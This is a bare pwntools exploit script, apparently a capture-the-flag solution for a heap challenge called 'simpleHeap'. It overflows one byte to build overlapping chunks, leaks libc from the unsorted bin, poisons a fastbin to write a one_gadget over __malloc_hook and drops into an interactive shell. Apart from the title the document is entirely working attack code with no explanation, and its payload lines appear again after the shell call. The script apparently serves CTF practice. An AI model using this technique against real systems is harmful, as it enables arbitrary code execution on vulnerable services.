[V&N公开赛]simpleHeap

#coding:utf-8
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./pwn')
#p = remote('node3.buuoj.cn',29221)
def cmd(choice):
  p.sendlineafter('choice: ',str(choice))
def create(size,content):
  cmd(1)
  p.sendlineafter('size?',str(size))
  p.sendlineafter('content:',content)
  
def edit(index,content):
  cmd(2)
  p.sendlineafter('idx?',str(index))
  p.sendlineafter('content:',content)
  
def show(index):
  cmd(3)
  p.sendlineafter('idx?',str(index))
def delete(index):
  cmd(4)
  p.sendlineafter('idx?',str(index))
create(0x58,'aaaa') #0
create(0x60,'bbbb') #1
create(0x60,'cccc') #2
create(0x60,'dddd') #3
edit(0, 'a'* 0x58 + '\xe1')
delete(1)
create(0x60,'ffff') #4(1)
show(2) #2 is unsortbin
address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = address - 0x58 - 0x3c4b20
main_arean = address - 0x58
one_gadget = libc_base+0x4526a
realloc = libc_base + 0x846c0
fake_chunk = main_arean - 0x33
create(0x60,'yichen') #4(2)
delete(3)
delete(2)
edit(4, p64(fake_chunk))
create(0x60,'')
payload = p8(0)*11
payload += p64(one_gadget)
payload+= p64(libc_base+0x846C0+0xc)
create(0x60,payload)
p.recvuntil("choice: ")
p.sendline(str(1))
p.recvuntil("size?")
p.sendline(str(0x10))
p.interactive()

payload = p8(0)*11
payload += p64(one_gadget)
payload+= p64(libc_base+0x846C0+0xc)
create(0x60,payload)